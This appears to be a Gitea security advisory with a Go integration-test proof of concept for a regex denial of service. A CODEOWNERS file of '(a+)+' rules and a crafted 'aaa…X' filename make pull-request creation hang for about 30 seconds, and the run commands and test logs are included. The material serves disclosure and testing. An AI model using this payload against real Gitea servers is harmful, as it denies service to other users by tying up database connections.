Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

 1package integration
 2 
 3// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
 4// triggered via the full pull.NewPullRequest call chain.
 5//
 6// POST /api/v1/repos/{owner}/{repo}/pulls
 7//   -> routers/api/v1/repo/pull.go:CreatePullRequest
 8//   -> pull.NewPullRequest (services/pull/pull.go)
 9//   -> db.WithTx                              <- holds DB connection for duration of hang
10//     -> issues_model.NewPullRequest          <- inserts PR into DB
11//     -> PullRequestCodeOwnersReview          <- evaluates CODEOWNERS
12//       -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
13//
14// The attacker controls both sides of the match:
15//   - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
16//   - PR changed file:    "aaa...X" forces O(2^N) backtracking states
17 
18import (
19	"fmt"
20	"net/http"
21	"net/url"
22	"strings"
23	"testing"
24	"time"
25 
26	auth_model "gitea.dev/models/auth"
27	user_model "gitea.dev/models/user"
28	"gitea.dev/models/unittest"
29	"gitea.dev/modules/git"
30	api "gitea.dev/modules/structs"
31	repo_service "gitea.dev/services/repository"
32	files_service "gitea.dev/services/repository/files"
33 
34	"github.com/stretchr/testify/assert"
35	"github.com/stretchr/testify/require"
36)
37 
38func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
39	onGiteaRun(t, func(t *testing.T, u *url.URL) {
40		user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
41 
42		repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
43			Name:             "redos-codeowners",
44			Readme:           "Default",
45			AutoInit:         true,
46			ObjectFormatName: git.Sha1ObjectFormat.Name(),
47			DefaultBranch:    "main",
48		}, true)
49		require.NoError(t, err)
50 
51		// Push malicious CODEOWNERS to the default branch.
52		// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
53		// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
54		// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
55		var codeowners strings.Builder
56		for range 11 {
57			codeowners.WriteString("(a+)+ @user2\n")
58		}
59		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
60			OldBranch: repo.DefaultBranch,
61			Files: []*files_service.ChangeRepoFile{
62				{
63					Operation:     "create",
64					TreePath:      "CODEOWNERS",
65					ContentReader: strings.NewReader(codeowners.String()),
66				},
67			},
68		})
69		require.NoError(t, err)
70 
71		// Create a PR branch containing a file whose path is a late-failing input
72		// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
73		// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
74		maliciousFilename := strings.Repeat("a", 25) + "X"
75		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
76			NewBranch: "attack",
77			Files: []*files_service.ChangeRepoFile{
78				{
79					Operation:     "create",
80					TreePath:      maliciousFilename,
81					ContentReader: strings.NewReader("x"),
82				},
83			},
84		})
85		require.NoError(t, err)
86 
87		// Obtain an API token for user2 and submit the PR creation request.
88		// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
89		// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
90		// connection for the duration of the backtracking hang.
91		session := loginUser(t, user2.Name)
92		token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)
93 
94		start := time.Now()
95		req := NewRequestWithJSON(t, http.MethodPost,
96			fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
97			&api.CreatePullRequestOption{
98				Title: "ReDoS PoC",
99				Head:  "attack",
100				Base:  repo.DefaultBranch,
101			},
102		).AddTokenAuth(token)
103		MakeRequest(t, req, http.StatusCreated)
104		elapsed := time.Since(start)
105 
106		t.Logf("pull.NewPullRequest completed in %s", elapsed)
107		assert.Greater(t, elapsed, 25*time.Second,
108			"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
109	})
110}

 1# 1. Build the binary (needed for git hooks during repo creation)
 2make build
 3 
 4# 2. Run the test
 5go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/

 1=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
 2    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
 3    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
 4    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
 5    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
 6    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
 7    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
 8    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
 9    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
10    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
11    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
12+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
13--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
14PASS

 1		for range 11 {
 2			codeowners.WriteString("(a+)+ @user2\n")
 3		}